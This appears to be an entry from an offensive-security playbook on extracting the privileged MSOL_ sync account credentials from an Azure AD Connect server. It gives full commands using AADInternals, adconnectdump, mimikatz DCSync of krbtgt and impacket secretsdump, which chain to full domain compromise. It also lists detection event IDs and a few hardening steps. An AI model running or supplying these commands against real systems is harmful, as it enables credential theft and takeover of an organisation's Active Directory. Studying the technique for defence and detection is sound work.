--- title: "Attack #74 β€” Azure AD Connect Credential Extraction" description: "Azure AD Connect synchronizes on-premises AD with Azure AD / Entra ID. The sync service stores a privileged AD account's credentials (the MSOL_ account or…" category: active-directory subcategory: "Advanced & Post-Exploitation" tags: ["active-directory", "credential-access", "privilege-escalation", "sql-injection"] tools: ["Impacket", "Mimikatz", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Ten/πŸ”· Attack #74 β€” Azure AD Connect Credential Extraction.md" --- # πŸ”· Attack #74 β€” Azure AD Connect Credential Extraction *** ## πŸ“– How It Works Azure AD Connect synchronizes on-premises AD with Azure AD / Entra ID. The sync service stores a **privileged AD account's credentials** (the MSOL_ account or ADSync account) in a local database (encrypted with DPAPI). This account typically has **DCSync rights by default** β€” extracting its credentials from the Azure AD Connect server grants immediate DCSync capability. *** ## βš™οΈ Prerequisites | Requirement | Detail | |---|---| | **Local admin on Azure AD Connect server** | To access the encrypted database | | **Azure AD Connect installed** | With on-prem sync configured | *** ## πŸ’» Full Commands ```powershell # ── AADInternals (PowerShell) ───────────────────────────────────────────────── Install-Module AADInternals -Force Import-Module AADInternals Get-AADIntSyncCredentials # Output: # Domain: corp.local # Username: MSOL_ # Password: # ── adconnectdump (manual extraction) ───────────────────────────────────────── .\adconnectdump.exe # Extracts MSOL_ credentials from the local SQL database # ── Now DCSync with the MSOL_ account ───────────────────────────────────────── mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit # MSOL_ account has DCSync rights by default ``` ```bash # ── From Linux (after extracting credentials) ───────────────────────────────── secretsdump.py corp.local/MSOL_:''@DC01.corp.local -just-dc-user krbtgt ``` *** ## πŸ›‘οΈ Detection β€” Event IDs | Event ID | Source | What to Look For | |---|---|---| | **4662** | Security Log (DC) | MSOL_ account performing replication | | **4624** | Security Log | MSOL_ logon from unexpected source (not the AD Connect server) | *** ## πŸ”— Attack Chain Context ``` [Azure AD Connect] ──→ Extract MSOL_ creds β†’ DCSync β†’ domain compromise β”‚ β”œβ”€β”€β†’ πŸ”‘ MSOL_ account has DCSync rights by DEFAULT β”œβ”€β”€β†’ πŸ”— Compromise AD Connect server β†’ full domain compromise └──→ πŸ’€ Defeated by: harden AD Connect server, use gMSA for sync, monitor MSOL_ usage ``` *** > βœ… **Attack #74 β€” Azure AD Connect complete.**